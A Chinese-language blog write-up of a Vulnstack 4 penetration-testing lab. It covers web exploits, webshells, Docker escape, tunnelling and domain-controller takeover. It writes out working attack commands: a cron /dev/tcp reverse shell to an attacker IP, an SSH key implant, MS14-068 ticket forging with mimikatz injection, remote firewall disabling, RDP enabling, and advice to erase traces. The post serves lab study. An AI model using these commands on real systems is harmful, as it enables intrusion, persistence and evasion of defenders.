vulnstack红日-4

已于 2024-07-07 16:28:44 修改
阅读量336 收藏
点赞数 1
分类专栏： Web安全学习篇 文章标签： 学习
于 2022-07-11 01:18:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_49656607/article/details/125713111
版权 
额...这次的有一点难度，有一些地方按照自己以往的固定思路来做碰到了比较多的问题

不过还行，算是又学到挺多的，还有很多东西要去复习一下了，可以试试

链接：https://pan.baidu.com/s/1QxpyjtGsygmyMvpoGWgYlw 
提取码：7uiq

环境搭建

在这里插入图片描述

cd /home/ubuntu/Desktop/vulhub/struts/s2-045
docker-compose up -d
cd ../../tomcat/CVE-2017-12615
cd ../../phpmyadmin/CVE-2018-12613

Struts2/s2-045
CVE-2017-12615(tomcat put任意写)
CVE-2018-12613(phpmyadmin文件包含)

下面开始

简单的信息收集
在这里插入图片描述

2001 jetty
2002 tomcat
2003 apache
挨个打开看看
2001 Struts框架
在这里插入图片描述
2002 Tomcat中间件
在这里插入图片描述
2003 phpmyadmin，还是空密码登录的

先从phpmyadmin开始测试，这个版本有个远程文件包含
在这里插入图片描述
日志包含
在这里插入图片描述
在这里插入图片描述
可以被执行，那就直接写个马吧
在这里插入图片描述
在这里插入图片描述
成功getshell，再回去看Struts，这个直接工具扫一下就知道了，传个jsp马就行
在这里插入图片描述
Tomcat 是存在PUT任意写文件，同样写个jsp马结束
在这里插入图片描述
session交给MSF，这里有点小插曲，差点给我整不自信了
在这里插入图片描述
还想着直接弹回来就行了，试了好几个payload都不弹，尴尬了,老老实实的传后门弹session吧
在这里插入图片描述
chmod +x ma.elf 执行就有了
在这里插入图片描述
在这里插入图片描述

docker逃逸

在这里插入图片描述
因为这个是起的docker环境嘛，所以下面就是docker逃逸了

这里真的巨尴尬，因为记得有个poc是可以直接用的嘛，结果一打，docker没出来，容器崩了

错误示范：cve-2019-5736，呜呜呜
在这里插入图片描述
\n 后面跟我们的命令，然后上面没使用的部分要注释掉，Go的特性，没用的要删掉否则报错

go build main.go 编译好的文件传到docker下
在这里插入图片描述
在这里插入图片描述
现在模拟宿主机进入docker，再次尴尬，不清楚问题出在哪，反正就是没弹回来，原先的docker容器也被打坏了
在这里插入图片描述

这种方式利用的条件其实比较苛刻，需要在宿主机必须有人执行exec命令进入当前docker环境
如果没有人在宿主机执行的话，是无法进行docker逃逸的

下面才是正确示范，呜呜呜
看了几篇关于docker逃逸的文章，又回来试试

当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
使用特权模式启动容器，可以获取大量设备文件访问权限

在这里插入图片描述
挂载到/paidx0 ，这个时候就已经可以对宿主机文件任意操作了

写个计划任务弹shell
echo '* * * * * bash -i >& /dev/tcp/192.168.118.128/8888 0>&1' >> /paidx0/var/spool/cron/root

在这里插入图片描述
又尴尬了，没反应，想拿个session真难
在这里插入图片描述
尝试去修改宿主机的ssh秘钥，本地生成秘钥，直接留空密码就行一路回车
在这里插入图片描述
在这里插入图片描述

拷贝一份秘钥
cp -avx /paidx0/home/ubuntu/.ssh/id_rsa.pub /paidx0/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述

再把我们自己生成的秘钥给他替换掉
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzme7s92LMBjQHvkdbcMqYnQLvWMCJ5YaGJpAstkzuPukBPN0pWjrHHvWcJRft4ils6vJEyct+JgEMj0XEx5aZjVngI+T8vdmX1bwM72KVW0J8maCuzUxQmEO5t4rd+oV1CEprDz215QovELeGcGTbbBb/tBIf1V4wILuxwfbSrZFOn4qW7a1ktWwwrRP/FilVKy+4pseX2Ee/G2s9RQWzO6T2+wuGkClPfLV8eJFfUJqqG8bYJaqYCbK4yPj8FdEQ5Ra+1ickY/uPhrx1vwVdOTnhhePFq+bIMuIfgPXuORf5lXAGYvGn33vMvUNy9GqPSlQ+P8JJx8RehA4o9ij8vaIQ1ZvR4LpZtpJ/LHlIA60lohzyfQeGNYxjQuwEMN2z6/15hekJ7josGuU2LTPrVqF/8GNMrGSRL5mtTjxFZCSrXOHGzr1dJOno0dLB5P50dMkIrtl/OWQ06vuTJF5GOH4D/Vch8+oM3YkN6dOLkRKvYhtPT8cpPLZgWuC1le0= kali@kali' > /paidx0/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述
我们的秘钥确实是写进ubuntu了，可以免密直接ssh了
ssh -i hack ubuntu@192.168.118.132
在这里插入图片描述

内网隧道

开始内网咯，先是常规的搭建一下内网隧道，方便扩大攻击面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
宿主机上没有别的环境，就一个python2，所以Neo是用不了，这次用EW

传到宿主机上，启动服务
通过访问宿主机1080端口提供的代理服务访问内网
所以还要修改下这个/etc/proxychains4.conf
nohup ./ew_for_linux64 -s ssocksd -l 1080 &

在这里插入图片描述

隧道搭建完毕
直接上fscan，进内网就简单了
(icmp) Target 192.168.93.131  is alive
(icmp) Target 192.168.93.130  is alive
(icmp) Target 192.168.93.132  is alive
192.168.93.130:139 open
192.168.93.131:139 open
192.168.93.131:445 open
192.168.93.131:88 open
192.168.93.130:445 open
192.168.93.130:135 open
192.168.93.131:135 open
192.168.93.132:22 open
[*]192.168.93.130
   [->]TESTWIN7-PC
   [->]192.168.93.130
[+] NetInfo:
[*]192.168.93.131
   [->]WIN-ENS2VR5TR3N
   [->]192.168.93.131
[*] 192.168.93.131 [+]DC DEMO\WIN-ENS2VR5TR3N   Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.93.131      MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 192.168.93.130      MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.93.130       __MSBROWSE__\TESTWIN7-PC       Windows 7 Enterprise 7601 Service Pack 1

好像存在永恒之蓝，试试
额，确实存在ms17-010，但是直接打没打通

又试试设置MSF的流量从ubuntu走
Setg Proxies socks5:192.168.118.132:1080
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate

还是没通，郁闷了一下午，讲道理不应该啊
晚上又回来看了看，看了下别的师傅打的记录，这里他们还传了chisel 上去，说是直接打的话ms17-010很不稳定

./chisel server -p 2333 --socks5
./chisel client 192.168.118.132:2333 socks

横向域控

再试试就通了，win7 session到手，下面是开始拿域控了
在这里插入图片描述
桌面上有mimikatz，拿来试试，行吧只抓到了win7这台机子
在这里插入图片描述
桌面上还有个ms14-068，先去看看这个怎么用

如果攻击者获取了域内任何一台计算机的 shell 权限，同时知道任意域用户的用户名、SID、密码，即可获取域管理员权限。

漏洞产生原理：用户在向 Kerberos 密钥分发中心（KDC）申请TGT（由票据授权服务产生的身份凭证）时，可以伪造自己的 Kerberos 票据。

如果票据声明自己有域管理员权限，而KDC在处理该票据时未验证票据的签名，那么，返给用户的TGT就使普通域用户拥有了域管理员权限。

该用户可以将TGT发送到KDC，KDC的TGS（票据授权服务）在验证了TGT后，将服务票据（Server Ticket）发送给该用户，

而该用户拥有访问该服务的权限，从而使攻击者可以访问域内的资源。

使用挺简单的，那几个东西用mimikatz就都可以抓到
在这里插入图片描述
在这里插入图片描述

我们现在手上有win7这台机子的

ms14-068.exe  -u 域成员@域名  -s 域成员的sid  -d  域控制器的ip  -p 域成员密码

Ms14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.93.131 -p Dotest123

目录下生成这么一个票据 TGT_douser@DEMO.COM.ccache

在这里插入图片描述

Dir \\WIN-ENS2VR5TR3N\C$	//查看域控制器的C盘
是乱码，我说一下什么意思，就是没权限嘛，哈哈哈

在这里插入图片描述
开始注入凭证

kerberos::purge        //清空当前机器中所有凭证
kerberos::list        //查看当前机器凭证列表
kerberos::ptc TGT_douser@DEMO.COM.ccache   //将票据注入到内存中

在这里插入图片描述
再试试查看域控制器的C盘
在这里插入图片描述
已经算是有了域控的基本权限了,传个马让MSF接管session
在这里插入图片描述
在这里插入图片描述

复制到域控机上，起个计划任务，静静等待session自己弹回来

At \\WIN-ENS2VR5TR3N 23:15:00 cmd.exe /c "c:\demo.exe"

在这里插入图片描述
在这里插入图片描述
尴尬了，没弹回来，难道是防火墙栏了
在这里插入图片描述

关掉防火墙去
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

在这里插入图片描述
再试一次计划任务
在这里插入图片描述
果然是防火墙，继续传个mimikatz上去抓域控的密码
在这里插入图片描述
开个3389，给他连上去

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
在这里插入图片描述
自己加个管理员用户进去啥的，最后记得删除痕迹和上传上来的东西，然后跑路，哈哈哈哈

总结一下嘛

好难好难好难，害，还是好几个地方卡住了，好菜啊呜呜呜

思路太死板了，就会那么几种常规方式，还够的学了

paidx0
关注
专栏目录
vulnstack域环境靶场（四）
BROTHERYY的博客
12-09 1491
环境搭建 进入Ubuntu的web虚拟机，ubuntu为我们的web环境，其中的web环境需要手动开启，全部为docker环境，需要启动的环境分别为：s2-045、CVE-2017-12615、cve-2018-12613，启动方法如下： sudo su ubuntu docker-compose build docker-compose up 环境全部开启效果如下: 信息搜集 通过nmap发现主机开启以下服务，访问phpmyadmin属于未授权，直接就登录了 ...
红日-VulnStack靶场1
timesleep的博客
05-31 357
但是这里我的ms17_010没有攻击成功所以后面的步骤无法进行，按照思路的话，使用ms17_010攻击成功后可以拿到权限，进行权限提升。接下来我们对他的内网网段进行扫描，发现其他主机这里使用fscan，也可以使用arp -a来查看arp表。该端口为phpstudy探针页面，可以查看到敏感信息，如绝对路径，对其进行目录扫描。单网卡，仅主机，仅主机网卡地址为192.168.52.138。单网卡，仅主机，仅主机网卡地址为192.168.52.141。仅主机，仅主机网卡地址为192.168.52.143。
vulnstack4
m0_70782241的博客
02-23 1284
docker逃逸，域渗透
Vulnstack（四）
干铮的博客
05-24 1069
靶场拓扑 下载连接：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ 用的是VMware workstation 所以可能出现一些错误 Docker环境启动的是Vulhub的在线三个靶机 1.信息收集 主机发现 sudo netdiscover -i eth1 -r 192.168.157.0/24 端口扫描 nmap -A 192.168.53.128 -p- -oN nmap.a 2.apacheput文件上传脚本..
靶场复现系列--vulnstack 4
梦之旅行地
12-17 1769
一、前言 也不知道是我运气差还是怎么回事，用vmw搭靶场就是搭不起来，遇到各种问题，后来换成virtual box后解决几个问题就可以了。 第一个问题，虚拟机导入后网卡最好重新配下，不然容易报网卡的错误 第二个问题，启动docker报错，web服务器（ubuntu）用户未加入docker组，将ubuntu用户加入docker组后，重启就可以通过docker构建容器了，下面是加入docker组的命令 sudo gpasswd -a ${USER} docker 二、实践 1.拓扑 备注：这图片直接在靶场
红日安全ATT＆CK靶机实战系列之vulnstack4
黑白的博客
04-25 9002
声明 好好学习，天天向上 环境配置 下载地址，直接进去用百度云，没有会员也下的非常快 http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ 边下载着，可以开始vmware的网络配置 有两个网段，外网网段是我自己设置的桥接模式192.168.31.1/24，内网网段，vmware加一个网卡VMnet3，192.168.183.1/24 和前面的大同小异，我这里就不细说了看过系列文章的应该都已经很清楚这种网络结构了，我直接贴图吧 桥接的就是攻击机与边界服务器的网卡
红日内网渗透靶场vulnstack2
snowlyzz的博客
09-20 1141
红日渗透二学习
vulnstack1--红队靶机（域渗透）
tlovejr的博客
04-27 4105
一、前言 这几天一直有点任务，就一直没来得更新，现在继续给大家更新一些贴近真实情况的靶场环境，今天的文章或许会有点长，因为有好多和我一样的小白，所以在这就多墨迹几句，有什么不对的还请大佬们给予批评指正 二、靶场前准备 首先做靶场前先需要做一些准备 1、下载靶场镜像文件 这步就没什么过多介绍的 链接：https://pan.baidu.com/s/1lElVlUfEovffRWWOCktdVQ?pwd=6666 提取码：6666 2、修改各个靶机登录密码 因为第一次登录不修改密码的话，第二次开机时，原
ATT&CK实战系列-红队实战(一)vulnstack 红日靶场一
weixin_68652890的博客
05-20 1732
文章目录信息搜集主机发现端口扫描目录扫描getshell用sql向日志文件写后门getshell网站后台getshell内网信息搜集域信息搜集探测内网存活主机和端口提升权限msf会话移交cscs提权横向移动密码收集psexec横向 信息搜集 主机发现 nmap 192.168.5.0/24 端口扫描 nmap 192.168.5.174 开放3306、80端口 目录扫描 python3 dirmap.py -i http:// 192.168.5.174 -lcf 其它方法 dirsearch -u h
Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场
2401_84297455的博客
04-28 1051
VulnStack是由红日安全团队倾力打造一个靶场知识平台，靶场环境（CMS、漏洞管理、以及域管理等）全部依据国内企业的业务习惯进行模拟，环境设计思路全部来源 ATT&CK 红队评估设计模式，从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。
expat、dbus、zlib、glib、bluez-libs、bluez-utils
07-28
包含expat-2.0.1,dbus-1.4.1,zlib-1.2.5,glib-2.28.6,bluez-libs-3.36,bluez-utils-3.36
Skype安装程序
07-28
最新版Skype即时通讯工具。Skype即时通讯工具是国际上最流行的即时通讯工具，由俄罗斯人创造，现在被美国微软公司收购，已经替代了过去的MSN和ICQ，为当今世界最流行的语音通讯工具
2024年网安最全Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场
最新发布
2401_84252281的博客
05-03 1734
是由红日安全团队倾力打造一个靶场知识平台，靶场环境（CMS、漏洞管理、以及域管理等）全部依据国内企业的业务习惯进行模拟，环境设计思路全部来源 ATT&CK 红队评估设计模式，从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。
Vulnstack内网靶场4
weixin_48888525的博客
11-07 2679
环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器  攻击机kali地址：192.168.157.129  悬剑：192.168.157.130 还需要进入ubuntu开启服务，密码ubuntu cd /home/ubuntu/Desktop/vulhub/struts2/s2-045vsudo docker-compose up -d cd
vulstack红队评估(四)
PANDA墨森的博客
06-21 1728
原文链接：https://www.cnblogs.com/PANDA-Mosen/p/13118210.html 一、环境搭建： ①根据作者公开的靶机信息整理 虚拟机密码： ubuntu： ubuntu:ubuntu win7： douser:Dotest123 Win2008 DC： administrator:Test2008，因为登陆要修改密码，所以改为了panda666... ②虚拟机网卡设置 ubuntu双网卡模拟内外网： 外网：192.168.1....
[渗透测试]Vulnstack 红队（四）
cosmoslin的博客
04-03 531
环境配置 网络拓扑图(仅供参考) 账号信息： web: ubuntu:ubuntu win7: douser:Dotest123 DC: administrator:Test2008 ip信息： 攻击机 IP：192.168.111.5 OS：Kali 靶机 Web IP1：192.168.111.14 IP2：192.168.52.129 OS：Ubuntu DC IP：192.168.183.0/24 OS：Windows Server 2008 PC
红日靶机vulnstack04【半总结】
qq_45300786的博客
10-06 539
这次环境是3台机器， web服务器：000000 、DC：000000ydc. 、 win7 web服务器改ip有点麻烦，因为需要root用户才能改，给的ubuntu改不了。 所以我就进入高级模式下，修改了root用户的密码 关于虚拟机没有ipIP解决方案 然后再切到root用户修改ip win7 这台机器最麻烦，因为UAC开启最高模式，所以无论执行什么东西，都要输入账号密码 这里我的思路是先用msf的永恒之蓝拿到shell，然后再用下面这个链接去绕过UAC，提权为system权限。然后利用这个sy
渗透靶场--vulnstack-红队评估实战(4)
weixin_45794666的博客
07-20 761
vulnstack-红队评估实战(4) 环境配置 web服务器 ubuntu:ubuntu 内网192.168.183.131 外网192.168.154.137 web服务需要自己启动分别为s2-045、CVE-2017-12615、cve-2018-12613 sudo su ubuntu cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 docker-compose up 域成员机器 douser:Dotest123 192.168.183.128 域控
【红日靶场】vulnstack4-完整渗透过程
信安是不可或缺的一部分！
10-19 863
提示：以下是本篇文章正文内容，下面案例可供参考。
红日靶场VulnStack1
10-08
对于红日靶场VulnStack1，我了解到它是一个虚拟机中的漏洞靶场。这个靶场主要用于学习和实践网络安全方面的知识，其中包含了一些常见的漏洞，供用户进行渗透测试和漏洞攻击的实战练习。 由于我是一个AI模型，并没有...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值